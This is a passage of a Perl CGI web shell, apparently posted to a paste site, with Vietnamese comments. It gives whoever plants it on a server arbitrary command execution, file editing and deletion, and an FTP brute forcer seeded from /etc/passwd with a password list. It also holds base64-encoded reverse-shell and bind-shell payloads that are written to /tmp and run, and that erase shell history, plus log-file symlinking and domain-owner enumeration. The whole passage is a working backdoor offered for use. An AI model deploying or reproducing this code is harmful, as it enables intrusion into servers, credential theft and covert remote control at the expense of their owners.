  856.         $result .= "Command: <run>$RunCommand </run><br><textarea cols='$cols' rows='$rows' spellcheck='false'>";
  857.         # xuat thong tin khi chuyen den 1 thu muc nao do!
  858.         $RunCommand= $WinNT?"dir":"dir -lia";
  859.         $result .= &RunCmd;
  860.     }elsif($RunCommand =~ m/^\s*edit\s+(.+)/)
  861.     {
  862.         $result .=  &SaveFileForm;
  863.     }else
  864.     {
  865.         $result .= &PrintCommandLineInputForm;
  866.         $result .= "Command: <run>$RunCommand</run><br><textarea id='data' cols='$cols' rows='$rows' spellcheck='false'>";
  867.         $result .=&RunCmd;
  868.     }
  869.     $result .=  "</textarea>";
  870.     return $result;
  871. }
  872.  
  873. #------------------------------------------------------------------------
  874. # run command
  875. #------------------------------------------------------------------------
  876.  
  877. sub RunCmd
  878. {
  879.     my $result="";
  880.     $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  881.     if(!$WinNT)
  882.     {
  883.         $SIG{'ALRM'} = \&CommandTimeout;
  884.         alarm($CommandTimeoutDuration);
  885.     }
  886.     if($ShowDynamicOutput) # show output as it is generated
  887.     {
  888.         $|=1;
  889.         $Command .= " |";
  890.         open(CommandOutput, $Command);
  891.         while(<CommandOutput>)
  892.         {
  893.             $_ =~ s/(\n|\r\n)$//;
  894.             $result .= &HtmlSpecialChars("$_\n");
  895.         }
  896.         $|=0;
  897.     }
  898.     else # show output after command completes
  899.     {
  900.         $result .= &HtmlSpecialChars('$Command');
  901.     }
  902.     if(!$WinNT)
  903.     {
  904.         alarm(0);
  905.     }
  906.     return $result;
  907. }
  908. #==============================================================================
  909. # Form Save File
  910. #==============================================================================
  911. sub SaveFileForm
  912. {
  913.     my $result ="";
  914.     substr($RunCommand,0,5)="";
  915.     my $file=&trim($RunCommand);
  916.     $save='<br><input name="a" type="submit" value="save" class="submit" >';
  917.     $File=$CurrentDir.$PathSep.$RunCommand;
  918.     my $dir="<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("gui")."</span>";
  919.     if(-w $File)
  920.     {
  921.         $rows="23"
  922.     }else
  923.     {
  924.         $msg="<br><font style='font: 15pt Verdana; color: yellow;' > Permission denied!<font><br>";
  925.         $rows="20"
  926.     }
  927.     $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  928.     $read=($WinNT)?"type":"less";
  929.     $RunCommand = "$read \"$RunCommand\"";
  930.     $result .=  <<END;
  931.     <form name="f" method="POST" action="$ScriptLocation">
  932.  
  933.     <input type="hidden" name="d" value="$CurrentDir">
  934.     $Prompt
  935.     <input type="text" size="40" name="c">
  936.     <input name="s" class="submit" type="submit" value="Enter">
  937.     <br>Command: <run> $RunCommand </run>
  938.     <input type="hidden" name="file" value="$file" > $save <br> $msg
  939.     <br><textarea id="data" name="data" cols="$cols" rows="$rows" spellcheck="false">
  940. END
  941.    
  942.     $result .= &RunCmd;
  943.     $result .=  "</textarea>";
  944.     $result .=  "</form>";
  945.     return $result;
  946. }
  947. #==============================================================================
  948. # Save File
  949. #==============================================================================
  950. sub SaveFile($)
  951. {
  952.     my $Data= shift ;
  953.     my $File= shift;
  954.     $File=$CurrentDir.$PathSep.$File;
  955.     if(open(FILE, ">$File"))
  956.     {
  957.         binmode FILE;
  958.         print FILE $Data;
  959.         close FILE;
  960.         return 1;
  961.     }else
  962.     {
  963.         return 0;
  964.     }
  965. }
  966. #------------------------------------------------------------------------------
  967. # Brute Forcer Form
  968. #------------------------------------------------------------------------------
  969. sub BruteForcerForm
  970. {
  971.     my $result="";
  972.     $result .= <<END;
  973.  
  974. <table>
  975.  
  976. <tr>
  977. <td colspan="2" align="center">
  978. ####################################<br>
  979. Simple FTP brute forcer<br>
  980. ####################################
  981. <form name="f" method="POST" action="$ScriptLocation">
  982.  
  983. <input type="hidden" name="a" value="bruteforcer"/>
  984. </td>
  985. </tr>
  986. <tr>
  987. <td>User:<br><textarea rows="18" cols="30" name="user">
  988. END
  989. chop($result .= `less /etc/passwd | cut -d: -f1`);
  990. $result .= <<'END';
  991. </textarea></td>
  992. <td>
  993.  
  994. Pass:<br>
  995. <textarea rows="18" cols="30" name="pass">123pass
  996. 123!@#
  997. 123admin
  998. 123abc
  999. 123456admin
  1000. 1234554321
  1001. 12344321
  1002. pass123
  1003. admin
  1004. admincp
  1005. administrator
  1006. matkhau
  1007. passadmin
  1008. p@ssword
  1009. p@ssw0rd
  1010. password
  1011. 123456
  1012. 1234567
  1013. 12345678
  1014. 123456789
  1015. 1234567890
  1016. 111111
  1017. 000000
  1018. 222222
  1019. 333333
  1020. 444444
  1021. 555555
  1022. 666666
  1023. 777777
  1024. 888888
  1025. 999999
  1026. 123123
  1027. 234234
  1028. 345345
  1029. 456456
  1030. 567567
  1031. 678678
  1032. 789789
  1033. 123321
  1034. 456654
  1035. 654321
  1036. 7654321
  1037. 87654321
  1038. 987654321
  1039. 0987654321
  1040. admin123
  1041. admin123456
  1042. abcdef
  1043. abcabc
  1044. !@#!@#
  1045. !@#$%^
  1046. !@#$%^&*(
  1047. !@#$$#@!
  1048. abc123
  1049. anhyeuem
  1050. iloveyou</textarea>
  1051. </td>
  1052. </tr>
  1053. <tr>
  1054. <td colspan="2" align="center">
  1055. Sleep:<select name="sleep">
  1056.  
  1057. <option>0</option>
  1058. <option>1</option>
  1059. <option>2</option>
  1060.  
  1061. <option>3</option>
  1062. </select>
  1063. <input type="submit" class="submit" value="Brute Forcer"/></td></tr>
  1064. </form>
  1065. </table>
  1066. END
  1067. return $result;
  1068. }
  1069. #------------------------------------------------------------------------------
  1070. # Brute Forcer
  1071. #------------------------------------------------------------------------------
  1072. sub BruteForcer
  1073. {
  1074.     my $result="";
  1075.     $Server=$ENV{'SERVER_ADDR'};
  1076.     if($in{'user'} eq "")
  1077.     {
  1078.         $result .= &BruteForcerForm;
  1079.     }else
  1080.     {
  1081.         use Net::FTP;
  1082.         @user= split(/\n/, $in{'user'});
  1083.         @pass= split(/\n/, $in{'pass'});
  1084.         chomp(@user);
  1085.         chomp(@pass);
  1086.         $result .= "<br><br>[+] Trying brute $ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\n";
  1087.         foreach $username (@user)
  1088.         {
  1089.             if(!($username eq ""))
  1090.             {
  1091.                 foreach $password (@pass)
  1092.                 {
  1093.                     $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n";
  1094.                     if($ftp->login("$username","$password"))
  1095.                     {
  1096.                         $result .= "<a target='_blank' href='ftp://$username:$password\@$Server'>[+] ftp://$username:$password\@$Server</a><br>\n";
  1097.                         $ftp->quit();
  1098.                         break;
  1099.                     }
  1100.                     if(!($in{'sleep'} eq "0"))
  1101.                     {
  1102.                         sleep(int($in{'sleep'}));
  1103.                     }
  1104.                     $ftp->quit();
  1105.                 }
  1106.             }
  1107.         }
  1108.         $result .= "\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\n";
  1109.     }
  1110.     return $result;
  1111. }
  1112. #------------------------------------------------------------------------------
  1113. # Backconnect Form
  1114. #------------------------------------------------------------------------------
  1115. sub BackBindForm
  1116. {
  1117.     return <<END;
  1118.     <br><br>
  1119.  
  1120.     <table>
  1121.     <tr>
  1122.     <form name="f" method="POST" action="$ScriptLocation">
  1123.     <td>BackConnect: <input type="hidden" name="a" value="backbind"></td>
  1124.     <td> Host: <input type="text" size="20" name="clientaddr" value="$ENV{'REMOTE_ADDR'}">
  1125.      Port: <input type="text" size="7" name="clientport" value="80" onkeyup="document.getElementById('ba').innerHTML=this.value;"></td>
  1126.  
  1127.     <td><input name="s" class="submit" type="submit" name="submit" value="Connect"></td>
  1128.     </form>
  1129.     </tr>
  1130.     <tr>
  1131.     <td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!
  1132.     <br>[+] Try check your Port with <a target="_blank" href="http://www.canyouseeme.org/">http://www.canyouseeme.org/</a>
  1133.     <br>[+] Client listen with command: <run>nc -vv -l -p <span id="ba">80</span></run></font></td>
  1134.  
  1135.     </tr>
  1136.     </table>
  1137.  
  1138.     <br><br>
  1139.     <table>
  1140.     <tr>
  1141.     <form method="POST" action="$ScriptLocation">
  1142.     <td>Bind Port: <input type="hidden" name="a" value="backbind"></td>
  1143.  
  1144.     <td> Port: <input type="text" size="15" name="clientport" value="1412" onkeyup="document.getElementById('bi').innerHTML=this.value;">
  1145.  
  1146.      Password: <input type="text" size="15" name="bindpass" value="THIEUGIABUON"></td>
  1147.     <td><input name="s" class="submit" type="submit" name="submit" value="Bind"></td>
  1148.     </form>
  1149.     </tr>
  1150.     <tr>
  1151.     <td colspan=3><font color=#FFFFFF>[+] Chuc nang chua dc test!
  1152.     <br>[+] Try command: <run>nc $ENV{'SERVER_ADDR'} <span id="bi">1412</span></run></font></td>
  1153.  
  1154.     </tr>
  1155.     </table><br>
  1156. END
  1157. }
  1158. #------------------------------------------------------------------------------
  1159. # Backconnect use perl
  1160. #------------------------------------------------------------------------------
  1161. sub BackBind
  1162. {
  1163.     use MIME::Base64;
  1164.     use Socket;
  1165.     $backperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7";
  1166.     $bindperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=";
  1167.  
  1168.     $ClientAddr = $in{'clientaddr'};
  1169.     $ClientPort = int($in{'clientport'});
  1170.     if($ClientPort eq 0)
  1171.     {
  1172.         return &BackBindForm;
  1173.     }elsif(!$ClientAddr eq "")
  1174.     {
  1175.         $Data=decode_base64($backperl);
  1176.         if(-w "/tmp/")
  1177.         {
  1178.             $File="/tmp/backconnect.pl";   
  1179.         }else
  1180.         {
  1181.             $File=$CurrentDir.$PathSep."backconnect.pl";
  1182.         }
  1183.         open(FILE, ">$File");
  1184.         print FILE $Data;
  1185.         close FILE;
  1186.         system("perl backconnect.pl $ClientAddr $ClientPort");
  1187.         unlink($File);
  1188.         exit 0;
  1189.     }else
  1190.     {
  1191.         $Data=decode_base64($bindperl);
  1192.         if(-w "/tmp")
  1193.         {
  1194.             $File="/tmp/bindport.pl";  
  1195.         }else
  1196.         {
  1197.             $File=$CurrentDir.$PathSep."bindport.pl";
  1198.         }
  1199.         open(FILE, ">$File");
  1200.         print FILE $Data;
  1201.         close FILE;
  1202.         system("perl bindport.pl $ClientPort");
  1203.         unlink($File);
  1204.         exit 0;
  1205.     }
  1206. }
  1207. #------------------------------------------------------------------------------
  1208. #  Array List Directory
  1209. #------------------------------------------------------------------------------
  1210. sub RmDir($)
  1211. {
  1212.     my $dir = shift;
  1213.     if(opendir(DIR,$dir))
  1214.     {
  1215.         while($file = readdir(DIR))
  1216.         {
  1217.             if(($file ne ".") && ($file ne ".."))
  1218.             {
  1219.                 $file= $dir.$PathSep.$file;
  1220.                 if(-d $file)
  1221.                 {
  1222.                     &RmDir($file);
  1223.                 }
  1224.                 else
  1225.                 {
  1226.                     unlink($file);
  1227.                 }
  1228.             }
  1229.         }
  1230.         closedir(DIR);
  1231.     }
  1232.     if(!rmdir($dir))
  1233.     {
  1234.        
  1235.     }
  1236. }
  1237. sub FileOwner($)
  1238. {
  1239.     my $file = shift;
  1240.     if(-e $file)
  1241.     {
  1242.         ($uid,$gid) = (stat($file))[4,5];
  1243.         if($WinNT)
  1244.         {
  1245.             return "???";
  1246.         }
  1247.         else
  1248.         {
  1249.             $name=getpwuid($uid);
  1250.             $group=getgrgid($gid);
  1251.             return $name."/".$group;
  1252.         }
  1253.     }
  1254.     return "???";
  1255. }
  1256. sub ParentFolder($)
  1257. {
  1258.     my $path = shift;
  1259.     my $Comm = "cd \"$CurrentDir\"".$CmdSep."cd ..".$CmdSep.$CmdPwd;
  1260.     chop($path = `$Comm`);
  1261.     return $path;
  1262. }
  1263. sub FilePerms($)
  1264. {
  1265.     my $file = shift;
  1266.     my $ur = "-";
  1267.     my $uw = "-";
  1268.     if(-e $file)
  1269.     {
  1270.         if($WinNT)
  1271.         {
  1272.             if(-r $file){ $ur = "r"; }
  1273.             if(-w $file){ $uw = "w"; }
  1274.             return $ur . " / " . $uw;
  1275.         }else
  1276.         {
  1277.             $mode=(stat($file))[2];
  1278.             $result = sprintf("%04o", $mode & 07777);
  1279.             return $result;
  1280.         }
  1281.     }
  1282.     return "0000";
  1283. }
  1284. sub FileLastModified($)
  1285. {
  1286.     my $file = shift;
  1287.     if(-e $file)
  1288.     {
  1289.         ($la) = (stat($file))[9];
  1290.         ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
  1291.         $y = $y + 1900;
  1292.         @month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;
  1293.         $lmtime = sprintf("%02d/%s/%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
  1294.         return $lmtime;
  1295.     }
  1296.     return "???";
  1297. }
  1298. sub FileSize($)
  1299. {
  1300.     my $file = shift;
  1301.     if(-f $file)
  1302.     {
  1303.         return -s $file;
  1304.     }
  1305.     return "0";
  1306.  
  1307. }
  1308. sub ParseFileSize($)
  1309. {
  1310.     my $size = shift;
  1311.     if($size <= 1024)
  1312.     {
  1313.         return $size. " B";
  1314.     }
  1315.     else
  1316.     {
  1317.         if($size <= 1024*1024)
  1318.         {
  1319.             $size = sprintf("%.02f",$size / 1024);
  1320.             return $size." KB";
  1321.         }
  1322.         else
  1323.         {
  1324.             $size = sprintf("%.2f",$size / 1024 / 1024);
  1325.             return $size." MB";
  1326.         }
  1327.     }
  1328. }
  1329. sub trim($)
  1330. {
  1331.     my $string = shift;
  1332.     $string =~ s/^\s+//;
  1333.     $string =~ s/\s+$//;
  1334.     return $string;
  1335. }
  1336. sub AddSlashes($)
  1337. {
  1338.     my $string = shift;
  1339.     $string=~ s/\\/\\\\/g;
  1340.     return $string;
  1341. }
  1342. sub ListDir
  1343. {
  1344.     my $path = $CurrentDir.$PathSep;
  1345.     $path=~ s/\\\\/\\/g;
  1346.     my $result = "<form name='f' action='$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ ".&AddLinkDir("gui")." ] </span><input type='text' name='d' size='40' value='$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>";
  1347.     if(-d $path)
  1348.     {
  1349.         my @fname = ();
  1350.         my @dname = ();
  1351.         if(opendir(DIR,$path))
  1352.         {
  1353.             while($file = readdir(DIR))
  1354.             {
  1355.                 $f=$path.$file;
  1356.                 if(-d $f)
  1357.                 {
  1358.                     push(@dname,$file);
  1359.                 }
  1360.                 else
  1361.                 {
  1362.                     push(@fname,$file);
  1363.                 }
  1364.             }
  1365.             closedir(DIR);
  1366.         }
  1367.         @fname = sort { lc($a) cmp lc($b) } @fname;
  1368.         @dname = sort { lc($a) cmp lc($b) } @dname;
  1369.         $result .= "<div><table width='90%' class='listdir'>
  1370.  
  1371.         <tr style='background-color: #3e3e3e'><th>File Name</th>
  1372.         <th style='width:100px;'>File Size</th>
  1373.         <th style='width:150px;'>Owner</th>
  1374.         <th style='width:100px;'>Permission</th>
  1375.         <th style='width:150px;'>Last Modified</th>
  1376.         <th style='width:260px;'>Action</th></tr>";
  1377.         my $style="line";
  1378.         my $i=0;
  1379.         foreach my $d (@dname)
  1380.         {
  1381.             $style= ($style eq "line") ? "notline": "line";
  1382.             $d = &trim($d);
  1383.             $dirname=$d;
  1384.             if($d eq "..")
  1385.             {
  1386.                 $d = &ParentFolder($path);
  1387.             }
  1388.             elsif($d eq ".")
  1389.             {
  1390.                 $d = $path;
  1391.             }
  1392.             else
  1393.             {
  1394.                 $d = $path.$d;
  1395.             }
  1396.             $result .= "<tr class='$style'>
  1397.  
  1398.             <td id='File_$i' style='font: 11pt Verdana; font-weight: bold;'><a  href='?a=gui&d=".$d."'>[ ".$dirname." ]</a></td>";
  1399.             $result .= "<td>DIR</td>";
  1400.             $result .= "<td style='text-align:center;'>".&FileOwner($d)."</td>";
  1401.             $result .= "<td id='FilePerms_$i' style='text-align:center;' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($d)."','".$dirname."')\" ><span onclick=\"chmod_form(".$i.",'".$dirname."')\" >".&FilePerms($d)."</span></td>";
  1402.             $result .= "<td style='text-align:center;'>".&FileLastModified($d)."</td>";
  1403.             $result .= "<td style='text-align:center;'><a href='javascript:return false;' onclick=\"rename_form($i,'$dirname','".&AddSlashes(&AddSlashes($d))."')\">Rename</a>  | <a onclick=\"if(!confirm('Remove dir: $dirname ?')) { return false;}\" href='?a=gui&d=$path&remove=$dirname'>Remove</a></td>";
  1404.             $result .= "</tr>";
  1405.             $i++;
  1406.         }
  1407.         foreach my $f (@fname)
  1408.         {
  1409.             $style= ($style eq "line") ? "notline": "line";
  1410.             $file=$f;
  1411.             $f = $path.$f;
  1412.             $view = "?dir=".$path."&view=".$f;
  1413.             $result .= "<tr class='$style'><td id='File_$i' style='font: 11pt Verdana;'><a href='?a=command&d=".$path."&c=edit%20".$file."'>".$file."</a></td>";
  1414.             $result .= "<td>".&ParseFileSize(&FileSize($f))."</td>";
  1415.             $result .= "<td style='text-align:center;'>".&FileOwner($f)."</td>";
  1416.             $result .= "<td id='FilePerms_$i' style='text-align:center;' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($f)."','".$file."')\" ><span onclick=\"chmod_form($i,'$file')\" >".&FilePerms($f)."</span></td>";
  1417.             $result .= "<td style='text-align:center;'>".&FileLastModified($f)."</td>";
  1418.             $result .= "<td style='text-align:center;'><a href='?a=command&d=".$path."&c=edit%20".$file."'>Edit</a> | <a href='javascript:return false;' onclick=\"rename_form($i,'$file','f')\">Rename</a> | <a href='?a=download&o=go&f=".$f."'>Download</a> | <a onclick=\"if(!confirm('Remove file: $file ?')) { return false;}\" href='?a=gui&d=$path&remove=$file'>Remove</a></td>";
  1419.             $result .= "</tr>";
  1420.             $i++;
  1421.         }
  1422.         $result .= "</table></div>";
  1423.     }
  1424.     return $result;
  1425. }
  1426. #------------------------------------------------------------------------------
  1427. # Try to View List User
  1428. #------------------------------------------------------------------------------
  1429. sub ViewDomainUser
  1430. {
  1431.     open (domains, '/etc/named.conf') or $err=1;
  1432.     my @cnzs = <domains>;
  1433.     close d0mains;
  1434.     my $style="line";
  1435.     my $result="<h5><font style='font: 15pt Verdana;color: #ff9900;'>Hoang Sa - Truong Sa</font></h5>";
  1436.     if ($err)
  1437.     {
  1438.         $result .=  ('<p>C0uldn\'t Bypass it , Sorry</p>');
  1439.         return $result;
  1440.     }else
  1441.     {
  1442.         $result .= '<table><tr><th>Domains</th> <th>User</th></tr>';
  1443.     }
  1444.     foreach my $one (@cnzs)
  1445.     {
  1446.         if($one =~ m/.*?zone "(.*?)" {/)
  1447.         {  
  1448.             $style= ($style eq "line") ? "notline": "line";
  1449.             $filename= "/etc/valiases/".$one;
  1450.             $owner = getpwuid((stat($filename))[4]);
  1451.             $result .= '<tr class="$style" width=50%><td>'.$one.' </td><td> '.$owner.'</td></tr>';
  1452.         }
  1453.     }
  1454.     $result .= '</table>';
  1455.     return $result;
  1456. }
  1457. #------------------------------------------------------------------------------
  1458. # View Log
  1459. #------------------------------------------------------------------------------
  1460. sub ViewLog
  1461. {
  1462.     if($WinNT)
  1463.     {
  1464.         return "<h2><font style='font: 20pt Verdana;color: #ff9900;'>Don't run on Windows</font></h2>";
  1465.     }
  1466.     my $result="<table><tr><th>Path Log</th><th>Submit</th></tr>";
  1467.     my @pathlog=(
  1468.                 '/usr/local/apache/logs/error_log',
  1469.                 '/var/log/httpd/error_log',
  1470.                 '/usr/local/apache/logs/access_log'
  1471.                 );
  1472.     my $i=0;
  1473.     my $perms;
  1474.     my $sl;
  1475.     foreach my $log (@pathlog)
  1476.     {
  1477.         if(-w $log)
  1478.         {
  1479.             $perms="OK";
  1480.         }else
  1481.         {
  1482.             chop($sl = `ln -s $log error_log_$i`);
  1483.             if(&trim($ls) eq "")
  1484.             {
  1485.                 if(-r $ls)
  1486.                 {
  1487.                     $perms="OK";
  1488.                     $log="error_log_".$i;
  1489.                 }
  1490.             }else
  1491.             {
  1492.                 $perms="<font style='color: red;'>Cancel<font>";
  1493.             }
  1494.         }
  1495.         $result .=<<END;
  1496.         <tr>
  1497.  
  1498.             <form action="" method="post">
  1499.             <td><input type="text" onkeyup="document.getElementById('log_$i').value='less ' + this.value;" value="$log" size='50'/></td>
  1500.             <td><input class="submit" type="submit" value="Try" /></td>
  1501.             <input type="hidden" id="log_$i" name="c" value="less $log"/>
  1502.             <input type="hidden" name="a" value="command" />
  1503.             <input type="hidden" name="d" value="$CurrentDir" />
  1504.             </form>
  1505.             <td>$perms</td>
  1506.  
  1507.         </tr>
  1508. END
  1509.         $i++;
  1510.     }
  1511.     $result .="</table>";
  1512.     return $result;
  1513. }
  1514. #------------------------------------------------------------------------------
  1515. # Main Program - Execution Starts Here
  1516. #------------------------------------------------------------------------------
  1517. &ReadParse;
  1518. &GetCookies;
  1519.  
  1520. $ScriptLocation = $ENV{'SCRIPT_NAME'};
  1521. $ServerName = $ENV{'SERVER_NAME'};
  1522. $LoginPassword = $in{'p'};
  1523. $RunCommand = $in{'c'};
  1524. $TransferFile = $in{'f'};
  1525. $Options = $in{'o'};
  1526. $Action = $in{'a'};
  1527.  
  1528. $Action = "command" if($Action eq ""); # no action specified, use default
  1529.  
  1530. # get the directory in which the commands will be executed
  1531. $CurrentDir = &trim($in{'d'});
  1532. # mac dinh xuat thong tin neu ko co lenh nao!
  1533. $RunCommand= $WinNT?"dir":"dir -lia" if($RunCommand eq "");
  1534. chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
  1535.  
  1536. $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
  1537.  
  1538. if($Action eq "login" || !$LoggedIn)        # user needs/has to login
  1539. {
  1540.     &PerformLogin;
  1541. }elsif($Action eq "gui") # GUI directory
  1542. {
  1543.     &PrintPageHeader;
  1544.     if(!$WinNT)
  1545.     {
  1546.         $chmod=int($in{'chmod'});
  1547.         if(!($chmod eq 0))
  1548.         {
  1549.             $chmod=int($in{'chmod'});
  1550.             $file=$CurrentDir.$PathSep.$TransferFile;
  1551.             chop($result= `chmod $chmod "$file"`);
  1552.             if(&trim($result) eq "")
  1553.             {
  1554.                 print "<run> Done! </run><br>";
  1555.             }else
  1556.             {
  1557.                 print "<run> Sorry! You dont have permissions! </run><br>";
  1558.             }
  1559.         }
  1560.     }
  1561.     $rename=$in{'rename'};
  1562.     if(!$rename eq "")
  1563.     {
  1564.         if(rename($TransferFile,$rename))
  1565.         {
  1566.             print "<run> Done! </run><br>";
  1567.         }else
  1568.         {
  1569.             print "<run> Sorry! You dont have permissions! </run><br>";
  1570.         }
  1571.     }
  1572.     $remove=$in{'remove'};
  1573.     if($remove ne "")
  1574.     {
  1575.         $rm = $CurrentDir.$PathSep.$remove;
  1576.         if(-d $rm)
  1577.         {
  1578.             &RmDir($rm);
  1579.         }else
  1580.         {
  1581.             if(unlink($rm))
  1582.             {
  1583.                 print "<run> Done! </run><br>";
  1584.             }else
  1585.             {
  1586.                 print "<run> Sorry! You dont have permissions! </run><br>";
  1587.             }          
  1588.         }
  1589.     }
  1590.     print &ListDir;
  1591.  
  1592. }
  1593. elsif($Action eq "command")                 # user wants to run a command
  1594. {
  1595.     &PrintPageHeader("c");
  1596.     print &ExecuteCommand;
  1597. }
  1598. elsif($Action eq "save")                    # user wants to save a file
  1599. {
  1600.     &PrintPageHeader;
  1601.     if(&SaveFile($in{'data'},$in{'file'}))
  1602.     {
  1603.         print "<run> Done! </run><br>";
  1604.     }else
  1605.     {
  1606.         print "<run> Sorry! You dont have permissions! </run><br>";
  1607.     }
  1608.     print &ListDir;
  1609. }
  1610. elsif($Action eq "upload")                  # user wants to upload a file
  1611. {
  1612.     &PrintPageHeader;
  1613.  
  1614.     print &UploadFile;
  1615. }
  1616. elsif($Action eq "backbind")                # user wants to back connect or bind port
  1617. {
  1618.     &PrintPageHeader("clientport");
  1619.     print &BackBind;
  1620. }
  1621. elsif($Action eq "bruteforcer")             # user wants to brute force
  1622. {
  1623.     &PrintPageHeader;
  1624.     print &BruteForcer;
  1625. }elsif($Action eq "download")               # user wants to download a file
  1626. {
  1627.     print &DownloadFile;
  1628. }elsif($Action eq "checklog")               # user wants to view log file
  1629. {
  1630.     &PrintPageHeader;
  1631.     print &ViewLog;
  1632.  
  1633. }elsif($Action eq "domainsuser")            # user wants to view list user/domain
  1634. {
  1635.     &PrintPageHeader;
  1636.     print &ViewDomainUser;
  1637. }elsif($Action eq "logout")                 # user wants to logout
  1638. {
  1639.     &PerformLogout;
  1640. }
  1641. &PrintPageFooter;
Add Comment
Please, Sign In to add comment